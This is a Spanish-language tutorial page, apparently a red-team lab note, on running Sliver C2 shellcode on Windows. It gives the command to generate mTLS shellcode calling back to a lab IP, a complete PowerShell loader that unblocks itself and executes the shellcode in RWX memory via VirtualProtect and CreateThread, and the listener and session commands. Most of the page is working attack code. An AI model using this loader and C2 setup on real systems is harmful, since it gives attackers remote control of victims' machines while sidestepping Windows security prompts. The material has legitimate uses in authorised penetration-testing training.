sliver-server

Shellcode con Sliver C2
Explicación:
sliver-server generate
: Comando para generar un payload--mtls 192.168.175.128:443
: Configura el payload para conectarse al servidor C2 via mTLS (mutual TLS) en la IP 192.168.175.128 puerto 443--format shellcode
: Especifica que el output debe ser en formato shellcode crudo
Resultado esperado:
Se genera un archivo binario con el shellcode (probablemente con extensión .bin)
2. Script PowerShell para Ejecución del Shellcode
# Desbloquear el archivo para evitar la advertencia de seguridad
Unblock-File -Path $MyInvocation.MyCommand.Path
# Ruta al archivo binario
$binPath = "C:\Users\las\Desktop\LIVELY_RELATION.bin"
# Leer los bytes del archivo binario
$sc = [System.IO.File]::ReadAllBytes($binPath)
# Reservar memoria para el shellcode
$ptr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($sc.Length)
# Copiar los bytes en la memoria reservada
[System.Runtime.InteropServices.Marshal]::Copy($sc, 0, $ptr, $sc.Length)
# Establecer permisos de ejecución
$oldProtect = 0
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class Kernel32 {
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool VirtualProtect(IntPtr lpAddress, UInt32 dwSize, UInt32 flNewProtect, ref UInt32 lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32.dll")]
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
}
"@
# Cambiar los permisos de la memoria para que sea ejecutable
[Kernel32]::VirtualProtect($ptr, $sc.Length, 0x40, [ref]$oldProtect)
# Crear un hilo y ejecutar el shellcode
$threadId = 0
$hThread = [Kernel32]::CreateThread([IntPtr]::Zero, 0, $ptr, [IntPtr]::Zero, 0, [ref]$threadId)
# Esperar a que termine la ejecución (espera indefinida)
[Kernel32]::WaitForSingleObject($hThread, [UInt32]::MaxValue)
Flujo de ejecución:
Desbloquea el script para evitar restricciones de seguridad
Lee el shellcode desde el archivo binario
Reserva memoria no administrada
Copia el shellcode a la memoria reservada
Define las funciones de la API de Windows necesarias
Cambia los permisos de memoria para permitir ejecución
Crea un nuevo hilo que ejecuta el shellcode
Espera indefinidamente a que termine la ejecución
3. Configuración del Listener en Sliver
A la escucha:
mtls --lhost 192.168.175.128 --lport 443
Explicación:
Configura un listener mTLS en la IP 192.168.175.128 puerto 443
Debe coincidir con la IP/puerto especificados al generar el shellcode
4. Verificación y Ejecución
Download
jobs # Verifica los listeners activos
.\script.ps1 # Ejecuta el script PowerShell
use <ID> # Interactúa con la sesión establecida (reemplaza <ID> con el ID de sesión)

Last updated